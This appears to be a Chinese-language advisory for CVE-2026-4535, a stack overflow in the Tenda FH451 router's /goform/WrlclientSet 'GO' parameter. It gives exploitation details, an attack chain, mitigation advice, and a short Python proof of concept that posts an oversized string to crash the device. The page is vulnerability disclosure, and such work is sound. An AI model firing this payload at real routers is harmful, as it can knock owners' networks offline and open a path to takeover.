IPBUF安全漏洞报告
English
CVE-2026-4535 CVSS 8.8 高危

CVE-2026-4535 Tenda FH451栈溢出漏洞

披露日期: 2026-03-22

漏洞信息

漏洞编号
CVE-2026-4535
漏洞类型
栈溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda FH451

相关标签

栈溢出缓冲区溢出Tenda路由器远程代码执行IoT安全

漏洞概述

Tenda FH451路由器固件版本1.0.0.9中存在一处高危安全漏洞。该漏洞源于/goform/WrlclientSet接口的WrlclientSet函数未对用户输入的参数“GO”进行严格的长度限制。攻击者可以通过发送特制的恶意数据包触发基于栈的缓冲区溢出。由于该漏洞可被远程利用且无需用户交互,成功攻击可能导致设备拒绝服务或远程代码执行,进而完全控制路由器。

技术细节

该漏洞的根源在于Tenda FH451在处理HTTP POST请求时,对/goform/WrlclientSet端点中的“GO”参数缺乏必要的边界检查。当程序接收该参数并调用WrlclientSet函数进行处理时,使用了不安全的函数(如strcpy)将输入数据直接复制到栈上的局部变量缓冲区中。如果攻击者发送超长的“GO”参数值,缓冲区将被填满并覆盖栈上的返回地址。通过精心构造溢出数据,攻击者可以覆盖EIP寄存器,控制程序的执行流程,使其跳转到恶意Shellcode。尽管CVSS评分显示需要低权限(PR:L),但在默认配置下,局域网内的攻击者即可发起攻击,导致系统崩溃或获取最高权限。

攻击链分析

STEP 1
侦察
攻击者扫描网络以识别Tenda FH451路由器及其固件版本。
STEP 2
漏洞利用
攻击者向/goform/WrlclientSet端点发送包含恶意构造的长字符串“GO”参数的POST请求。
STEP 3
溢出触发
路由器处理该请求时,WrlclientSet函数发生栈溢出,覆盖返回地址。
STEP 4
代码执行
控制流被劫持,攻击者可能执行任意代码或导致设备崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(target_ip): # Target endpoint vulnerable to stack overflow url = f"http://{target_ip}/goform/WrlclientSet" # Payload: A long string to trigger the buffer overflow in the 'GO' parameter # Adjust length based on specific buffer size analysis payload = { "GO": "A" * 1000 } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=payload, timeout=5) # If the service crashes or hangs, connection may fail or timeout print("[+] Request sent. Check if the device has crashed or rebooted.") except requests.exceptions.RequestException as e: print(f"[!] Device likely crashed or unreachable: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP check_vulnerability(target)

影响范围

Tenda FH451 1.0.0.9

防御指南

临时缓解措施
由于目前尚无官方补丁,建议用户立即关闭路由器的远程管理功能,并仅允许局域网内特定IP访问管理后台。同时,应密切关注厂商官网发布的安全更新,并在第一时间进行固件升级以消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表